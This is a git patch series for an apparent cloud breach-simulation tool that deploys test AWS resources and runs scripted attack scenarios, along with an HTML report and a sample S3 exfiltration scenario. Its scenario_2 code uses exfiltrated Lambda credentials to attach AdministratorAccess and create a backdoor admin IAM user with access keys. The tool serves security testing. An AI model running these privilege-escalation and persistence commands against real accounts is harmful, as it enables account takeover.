@@ -335,4 +335,3 @@ def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): #gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID, WEB_SERVER_PUBLIC_IP) - From 2aa6109fdc023ec24942d80e8f0e69f9a6f28b08 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Fri, 19 Jul 2024 13:58:56 -0500 Subject: [PATCH 50/76] Add --no-cli-pager flag to blocking AWS cli commands. Fixes #17 --- scenarios/scenario_2/scenario_2.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/scenarios/scenario_2/scenario_2.py b/scenarios/scenario_2/scenario_2.py index 56abe7a..7f0e961 100644 --- a/scenarios/scenario_2/scenario_2.py +++ b/scenarios/scenario_2/scenario_2.py @@ -70,7 +70,7 @@ def scenario_2_execute(): print("-"*30) creds = "export $(grep -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN token.txt)" - subprocess.call(""+creds+" && aws sts get-caller-identity", shell=True) + subprocess.call(""+creds+" && aws sts get-caller-identity --no-cli-pager", shell=True) print(colored("PrivEsc possible through this credential, Escalating role privileges", color="red")) subprocess.call(""+creds+" && aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --role-name "+LAMBDA_ROLE_NAME+"", shell=True) @@ -92,9 +92,9 @@ def scenario_2_execute(): print(colored("Creating a Backdoor User which can be used by the attacker", color="red")) loading_animation() print("-"*30) - subprocess.call(""+creds+" && aws iam create-user --user-name devops", shell=True) + subprocess.call(""+creds+" && aws iam create-user --user-name devops --no-cli-pager", shell=True) subprocess.call(""+creds+" && aws iam attach-user-policy --user-name devops --policy-arn arn:aws:iam::aws:policy/AdministratorAccess", shell=True) - subprocess.call(""+creds+" && aws iam create-access-key --user-name devops", shell=True) + subprocess.call(""+creds+" && aws iam create-access-key --user-name devops --no-cli-pager", shell=True) #Backdoor Role From 56e8cbeb59c2e8e2396d5fc2a2b76455fa36b094 Mon Sep 17 00:00:00 2001 From: Matt Dorn Date: Wed, 24 Jul 2024 18:17:46 -0500 Subject: [PATCH 51/76] Add example scenario with extensively refactored logic --- .gitignore | 2 + cobra.py | 12 +- core/helpers.py | 55 ++++++- core/main_ng.py | 53 ++++++ core/scenario.py | 111 +++++++++++++ files/templates/report.html | 155 ++++++++++++++++++ requirements.txt | 7 +- scenarios_ng/__init__.py | 0 scenarios_ng/scenario_0/__init__.py | 0 scenarios_ng/scenario_0/_files/config.yaml | 9 + .../scenario_0/_files/data/customers.csv | 3 + scenarios_ng/scenario_0/attack.py | 16 ++ scenarios_ng/scenario_0/infra/__init__.py | 0 scenarios_ng/scenario_0/infra/extra.py | 6 + scenarios_ng/scenario_0/infra/main.py | 45 +++++ scenarios_ng/scenario_2/_files/config.yaml | 2 + scenarios_ng/scenario_2/_files/report.png | Bin 0 -> 123970 bytes 17 files changed, 469 insertions(+), 7 deletions(-) create mode 100644 core/main_ng.py create mode 100644 core/scenario.py create mode 100644 files/templates/report.html create mode 100644 scenarios_ng/__init__.py create mode 100644 scenarios_ng/scenario_0/__init__.py create mode 100644 scenarios_ng/scenario_0/_files/config.yaml create mode 100644 scenarios_ng/scenario_0/_files/data/customers.csv create mode 100644 scenarios_ng/scenario_0/attack.py create mode 100644 scenarios_ng/scenario_0/infra/__init__.py create mode 100644 scenarios_ng/scenario_0/infra/extra.py create mode 100644 scenarios_ng/scenario_0/infra/main.py create mode 100644 scenarios_ng/scenario_2/_files/config.yaml create mode 100644 scenarios_ng/scenario_2/_files/report.png diff --git a/.gitignore b/.gitignore index 368836d..30d45b9 100644 --- a/.gitignore +++ b/.gitignore @@ -62,3 +62,5 @@ terraform.tfstate.backup *cobra-as2-report.html *cnbas-as1-report.html *cnbas-as2-report.html + +files/var/ \ No newline at end of file diff --git a/cobra.py b/cobra.py index 38f0590..a0c9fc0 100644 --- a/cobra.py +++ b/cobra.py @@ -1,18 +1,26 @@ import argparse -from core import main +import os +from pathlib import Path, PurePath + +from core import main_ng as main +from core.helpers import get_scenario_list, get_scenarios_config + def parse_arguments(): + scenarios = get_scenario_list() parser = argparse.ArgumentParser(description="Terminal-based option tool") parser.add_argument("cloud_provider", choices=["aws", "azure", "gcp"], help="Cloud provider (aws, azure, gcp)") parser.add_argument("action", choices=["launch", "status", "destroy"], help="Action to perform (launch, status, destroy)") parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") - parser.add_argument("--scenario", choices=["scenario-1", "scenario-2", "scenario-3", "scenario-4"], default="scenario-1", help="Scenario selection") + parser.add_argument("--scenario", choices=scenarios, default=scenarios[0], help="Scenario selection") return parser.parse_args() + def main_function(cloud_provider, action, simulation, scenario): # Call the main function from the imported module and pass the options main.main(cloud_provider, action, simulation, scenario) + if __name__ == "__main__": args = parse_arguments() diff --git a/core/helpers.py b/core/helpers.py index b26f702..47d8a34 100644 --- a/core/helpers.py +++ b/core/helpers.py @@ -1,12 +1,16 @@ import os +from pathlib import Path, PurePath import pyfiglet import time import subprocess import json -from tqdm import tqdm +import re from time import sleep from termcolor import colored +import requests +import yaml +from tqdm import tqdm def loading_animation(): @@ -31,4 +35,51 @@ def generate_ssh_key(): subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) print("SSH Key Pair generated successfully!") - return key_path, key_path + ".pub" \ No newline at end of file + return key_path, key_path + ".pub" + + +def slugify(s): + s = s.lower().strip() + s = re.sub(r'[^\w\s-]', '', s) + s = re.sub(r'[\s_-]+', '-', s) + s = re.sub(r'^-+|-+$', '', s) + return s + + +def http_request(url, method='GET', headers={}): + resp = requests.request(method, url) + return resp + + +def get_scenario_list(): + """Get a list of scenarios for selection from command line. + """ + scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' + scenarios_list = [] + for path in Path(scenarios_path).glob('*'): + if os.path.isdir(path): + scenarios_list.append(PurePath(path).name) + scenarios_list.sort() + return scenarios_list + + +def get_scenarios_config(): + """Create dict containing scenario config data from every entry in + scenarios directory (title, description, etc.) + """ + scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' + scenarios_config = {} + for path in Path(scenarios_path).glob('*'): + if os.path.isdir(path): + scenario_name = PurePath(path).name + scenario_path = Path(scenarios_path) / scenario_name + config_path = Path(scenario_path, '_files', 'config.yaml') + with open(config_path, 'r') as file_: + config = yaml.load(file_, Loader=yaml.SafeLoader) + scenarios_config[scenario_name] = config + return scenarios_config + + +def print_ascii_art(text): + ascii_art = pyfiglet.figlet_format(text) + print(colored(ascii_art, color="cyan")) diff --git a/core/main_ng.py b/core/main_ng.py new file mode 100644 index 0000000..0bbe260 --- /dev/null +++ b/core/main_ng.py @@ -0,0 +1,53 @@ +from termcolor import colored + +from core.scenario import Scenario +from core.helpers import print_ascii_art, get_scenarios_config + + +def select_attack_scenario(cloud_provider): + scenarios_config = get_scenarios_config() + keys = list(scenarios_config.keys()) + keys.sort() + print(colored('Select Attack Scenario of %s:', color='yellow') % cloud_provider) + choices = [] + for key in keys: + index = int(key[-1:]) + choices.append(index) + print(colored('{}. {}: {}'.format( + index, scenarios_config[key]['title'], scenarios_config[key]['description']), + color='green')) + while True: + try: + choice = int(input(colored('Enter your choice: ', color='yellow'))) + if choice not in choices: + raise ValueError(colored('Invalid choice.', color='red')) + return choice + except ValueError as e: + print(e) + + +def main(cloud_provider, action, simulation, scenario): + tool_name = 'C O B R A' + print_ascii_art(tool_name) + scenario_choice = select_attack_scenario(cloud_provider) + scenario = Scenario(scenario_choice) + if action == 'launch': + if simulation: + # TODO: what to do with cloud provider? + scenario.setup() + scenario.attack() + scenario.destroy() + scenario.generate_report() # TODO: not implemented + elif action == 'status': + # TODO + # subprocess.call('cd ./scenarios/scenario_2/infra/ && pulumi stack ls', shell=True) + pass + elif action == 'destroy': + scenario.destroy() + pass + else: + print('No options provided. --help to know more') + + +if __name__ == '__main__': + main() diff --git a/core/scenario.py b/core/scenario.py new file mode 100644 index 0000000..355982a --- /dev/null +++ b/core/scenario.py @@ -0,0 +1,111 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +"""This module provides a base class for COBRA scenarios.""" +import importlib +import json +import os +import subprocess +import webbrowser +from pathlib import Path +from termcolor import colored + +import yaml +from pulumi import automation as auto + +from core.helpers import loading_animation, slugify + + +class Scenario(object): + """Class encapsulating all methods needed to run a scenario.""" + def __init__(self, scenario_id): + self.scenario_id = scenario_id + self.scenario_label = 'scenario_{}'.format(scenario_id) + self.infra_mod = importlib.import_module( + '.{}.infra.main'.format(self.scenario_label), 'scenarios_ng') + self.attack_mod = importlib.import_module( + '.{}.attack'.format(self.scenario_label), 'scenarios_ng') + config = self._get_config() + self.title = config['title'] + self.description = config['description'] + self.slug = slugify(self.title) # e.g. title-of-scenario + self.output_path = self._get_output_path() + + def setup(self): + """Deploy resources needed for the scenario.""" + self._deploy_infra() + # TODO: execute extra resources module if exists + + def attack(self): + """Run the attack scenario on the deployed infra/resources.""" + # TODO: Exception handling if no data + with open(self.output_path, 'r') as f: + data = json.load(f) + result = self.attack_mod.attack(data) + if (result): + # TODO: logging instead of print + print(colored('Attack succeeded', color='red')) + else: + print(colored('Attack failed', color='red')) + + def destroy(self): + """Destroy scenario resources and clean up.""" + self._destroy_infra() + # TODO: logic to destroy additional resources not managed by Pulumi + + def generate_report(self): + """Generate report.""" + print('Not yet implemented.') + # TODO + # html_template = '' + # with open('cobra-report-{}.html'.format(self.slug), 'w+') as file: + # file.write(html_template) + # webbrowser.open_new_tab( + # 'file://{}/cobra-report-{}.html'.format(str(Path.cwd()), self.slug) + # ) + + def _get_stack(self): + project_name = 'cobra' + stack = auto.create_or_select_stack( + stack_name=self.scenario_label, + project_name=project_name, + program=self.infra_mod.pulumi_program + ) + stack.workspace.install_plugin('aws', 'v4.0.0') + stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) + # TODO: make region configurable + stack.refresh(on_output=print) + return stack + + def _deploy_infra(self): + """Deploy required IaC infrastructure.""" + stack = self._get_stack() + up_res = stack.up(on_output=print) + # TODO: is this the right way to handle Pulumi outputs? + outputs = stack.outputs() + outputs_dict = {} + for key in outputs.keys(): + outputs_dict[key] = outputs[key].value + with open(self.output_path, 'w') as file_: + file_.write(json.dumps(outputs_dict)) + print(f'update summary: \n{json.dumps(up_res.summary.resource_changes, indent=4)}') + + def _destroy_infra(self): + """Destroy the IaC stack.""" + stack = self._get_stack() + stack.destroy(on_output=print) + + def _get_config(self): + config_path = os.path.join( # FIXME: use pathlib instead + os.path.dirname(__file__), + '..', 'scenarios_ng', self.scenario_label, '_files', 'config.yaml') + with open(config_path, 'r') as file_: + config = yaml.load(file_, Loader=yaml.SafeLoader) + return config + + def _get_output_path(self): + output_path = os.path.join( + os.path.dirname(__file__), + '..', 'files', 'var', 'output', + '{}.json'.format(self.scenario_label), + ) + return output_path diff --git a/files/templates/report.html b/files/templates/report.html new file mode 100644 index 0000000..bb7b2ea --- /dev/null +++ b/files/templates/report.html @@ -0,0 +1,155 @@ + + + + + + COBRA Attack Path Report + + + +
+
+ COBRA Logo +

COBRA Attack Path Report

+
+
+

Attack Path Scenario Explained

+

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

+
+ +
+

Attack Scenario Breakdown

+

1. Application is exploited through API GW, lambda backend

+

2. Lambda Role credential is discovered and exfiltrated.

+

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

+

4. Attach Privileged Policy to the Role.

+

5. Provision a Backdoor IAM Role to maintain persistence.

+

6. Whitelist Attacker account id in the trust policy of the backdoor role.

+
+ +
+

Attack Path Graph

+ Attack Path Graph +
+
+

Resource Meta Data

+ + + + + + + + + + + + + + + + + + + +
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
+
+
+

List of Controls to Evaluate Post-Attack

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
+
+
+ + diff --git a/requirements.txt b/requirements.txt index 97e299d..5b7afe9 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,12 +4,13 @@ dill==0.3.8 grpcio==1.60.1 parver==0.5 protobuf==4.25.3 -pulumi>=3.0.0,<4.0.0 pulumi-aws>=6.0.2,<7.0.0 +pulumi-gcp>=7.0.0,<8.0.0 +pulumi>=3.0.0,<4.0.0 pyfiglet==1.0.2 PyYAML==6.0.1 +requests==2.32.3 semver==2.13.0 six==1.16.0 termcolor==2.4.0 -tqdm==4.66.2 -pulumi-gcp>=7.0.0,<8.0.0 \ No newline at end of file +tqdm==4.66.2 \ No newline at end of file diff --git a/scenarios_ng/__init__.py b/scenarios_ng/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_0/__init__.py b/scenarios_ng/scenario_0/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_0/_files/config.yaml b/scenarios_ng/scenario_0/_files/config.yaml new file mode 100644 index 0000000..b7f450f --- /dev/null +++ b/scenarios_ng/scenario_0/_files/config.yaml @@ -0,0 +1,9 @@ +title: Example scenario +description: An example scenario that deploys a public S3 bucket and file containing sensitive data, and executes an HTTP request to retrieve the file. +cloud_provider: aws +attack_scenario_steps: +- 1. Step 1 (TODO) +- 2. Step 2 (TODO) +post_attack_controls_eval_steps: +- 1. Step 1 (TODO) +- 2. Step 2 (TODO) diff --git a/scenarios_ng/scenario_0/_files/data/customers.csv b/scenarios_ng/scenario_0/_files/data/customers.csv new file mode 100644 index 0000000..9d93eaa --- /dev/null +++ b/scenarios_ng/scenario_0/_files/data/customers.csv @@ -0,0 +1,3 @@ +"ID","last_name","first_name","street_address","city","state_abbr","postcode","credit_card_number","credit_card_security_code","credit_card_expire" +"1","Mitchell","Leslie","81588 Ryan Fall Apt. 738","Port Matthew","IA","28811","3597046616691198","098","06/30" +"2","Thomas","Tara","04211 Jennifer Walk Suite 866","Melissamouth","MS","10758","3533685332107711","228","11/30" diff --git a/scenarios_ng/scenario_0/attack.py b/scenarios_ng/scenario_0/attack.py new file mode 100644 index 0000000..278959f --- /dev/null +++ b/scenarios_ng/scenario_0/attack.py @@ -0,0 +1,16 @@ +from core.helpers import http_request + + +def attack(output): + """Exfiltrate an S3 object from a public bucket.""" + url = 'https://{}.s3.amazonaws.com/{}'.format( + output['s3-bucket-id'], output['s3-object-id']) + print('Running attack scenario on {}'.format(url)) + # TODO: replace print with logging + resp = http_request(url) + if resp.status_code == 200: + # TODO: is this the right way to check for attack success? + return True + else: + # TODO: how to flag failed attack? raise custom exception? + return False diff --git a/scenarios_ng/scenario_0/infra/__init__.py b/scenarios_ng/scenario_0/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_0/infra/extra.py b/scenarios_ng/scenario_0/infra/extra.py new file mode 100644 index 0000000..7ed7b26 --- /dev/null +++ b/scenarios_ng/scenario_0/infra/extra.py @@ -0,0 +1,6 @@ +def deploy_additional_resources(): + pass + + +def destroy_additional_resources(): + pass diff --git a/scenarios_ng/scenario_0/infra/main.py b/scenarios_ng/scenario_0/infra/main.py new file mode 100644 index 0000000..49352ec --- /dev/null +++ b/scenarios_ng/scenario_0/infra/main.py @@ -0,0 +1,45 @@ +import json +import os + +import pulumi +from pulumi_aws import s3 + + +def pulumi_program(): + data_file = os.path.join( + os.path.dirname(__file__), '..', '_files', 'data', 'customers.csv' + ) # TODO: need easier way to get datafile path + bucket = s3.Bucket('b', bucket_prefix='cobra-test-') + object = s3.BucketObject( + 'object', + bucket=bucket.id, + key='customers.csv', + source=pulumi.FileAsset(data_file) + ) + # Allow public ACLs for the bucket + public_access_block = s3.BucketPublicAccessBlock( + "exampleBucketPublicAccessBlock", + bucket=bucket.id, + block_public_acls=False, + ) + # Set the access policy for the bucket so all objects are readable + s3.BucketPolicy( + "bucket-policy", + bucket=bucket.id, + policy=bucket.id.apply( + lambda id: json.dumps({ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Principal": "*", + "Action": ["s3:GetObject"], + # Policy refers to bucket explicitly + "Resource": [f"arn:aws:s3:::{id}/*"] + }, + })), + opts=pulumi.ResourceOptions(depends_on=[public_access_block]) + ) + pulumi.export('s3-bucket-arn', bucket.arn) + pulumi.export('s3-bucket-id', bucket.id) + pulumi.export('s3-object-arn', object.arn) + pulumi.export('s3-object-id', object.id) diff --git a/scenarios_ng/scenario_2/_files/config.yaml b/scenarios_ng/scenario_2/_files/config.yaml new file mode 100644 index 0000000..8877f1b --- /dev/null +++ b/scenarios_ng/scenario_2/_files/config.yaml @@ -0,0 +1,2 @@ +title: Rest API exploit +description: Command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation and persistence. diff --git a/scenarios_ng/scenario_2/_files/report.png b/scenarios_ng/scenario_2/_files/report.png new file mode 100644 index 0000000000000000000000000000000000000000..fb31477ace831ed4f6d956806028396e50182c06 GIT binary patch literal 123970 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 